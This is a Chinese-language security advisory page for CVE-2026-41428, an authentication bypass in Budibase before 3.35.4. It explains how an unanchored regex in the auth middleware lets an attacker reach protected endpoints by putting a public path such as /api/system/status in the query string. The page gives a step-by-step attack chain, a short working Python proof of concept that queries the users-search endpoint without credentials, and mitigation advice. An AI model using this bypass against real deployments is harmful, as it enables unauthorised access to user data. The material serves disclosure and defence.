IPBUF安全漏洞报告
English
CVE-2026-41428 CVSS 9.1 严重

CVE-2026-41428 Budibase认证绕过漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41428
漏洞类型
认证绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Budibase

相关标签

认证绕过Budibase逻辑漏洞CVE-2026-41428Low-code

漏洞概述

Budibase是一款流行的开源低代码开发平台。在3.35.4版本之前,该平台的认证中间件存在逻辑缺陷,使用了未经锚定的正则表达式来校验请求URL。由于Koa框架的ctx.request.url包含查询字符串,攻击者可以通过在受保护端点的请求参数中插入公共端点路径(如?x=/api/system/status),欺骗中间件使其误认为当前请求是公共访问。这导致攻击者无需身份验证即可绕过安全检查,直接访问敏感API接口,造成严重的数据泄露风险。官方已在3.35.4版本中修复此漏洞。

技术细节

该漏洞的核心在于Budibase未能正确区分URL路径与查询字符串。认证中间件利用正则表达式白名单机制来判断请求是否需要认证,但正则表达式未使用^和$进行首尾锚定。在Node.js的Koa框架中,ctx.request.url返回的是完整路径加查询参数。当正则表达式未锚定时,只要查询参数中包含白名单路径(如/api/system/status),匹配即成功。攻击者利用这一点,将需要认证的接口与公共接口路径通过查询参数拼接。中间件检测到公共路径特征后直接放行,导致认证机制失效,攻击者可借此未授权访问后台管理功能或窃取用户数据。

攻击链分析

STEP 1
侦察
识别目标是否为Budibase平台且版本低于3.35.4。
STEP 2
模式识别
找到一个无需认证的公共端点路径(例如 /api/system/status)。
STEP 3
构造Payload
将公共端点路径作为参数附加到想要访问的受保护端点URL中(例如 /api/global/users/search?x=/api/system/status)。
STEP 4
发送请求
向构造好的URL发送HTTP请求,不带任何认证Cookie或Token。
STEP 5
获取权限
服务端中间件误判请求为公共请求,攻击者成功获取受保护端点的数据或执行操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_budibase_auth_bypass(target_url): """ PoC for CVE-2026-41428: Budibase Authentication Bypass """ # The protected endpoint we want to access protected_path = "/api/global/users/search" # A public endpoint path known to be in the whitelist public_bypass_path = "/api/system/status" # Construct the malicious URL by appending the public path to the query string # The middleware regex matches the public path in the query parameter, bypassing auth exploit_url = f"{target_url}{protected_path}?x={public_bypass_path}" print(f"[*] Sending request to: {exploit_url}") # Send request without Authorization headers response = requests.post(exploit_url) if response.status_code == 200: print(f"[+] Exploit successful! Authentication bypassed.") print(f"[+] Response body: {response.text[:200]}") else: print(f"[-] Exploit failed or patched. Status code: {response.status_code}") if __name__ == "__main__": target = "http://localhost:5000" # Replace with actual target exploit_budibase_auth_bypass(target)

影响范围

Budibase < 3.35.4

防御指南

临时缓解措施
如果无法立即升级,建议在反向代理(如Nginx)中配置规则,拦截包含特定公共路径特征但请求目标为私有接口的异常请求。同时,应限制对管理后台API的网络访问,仅允许受信任的IP地址访问,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表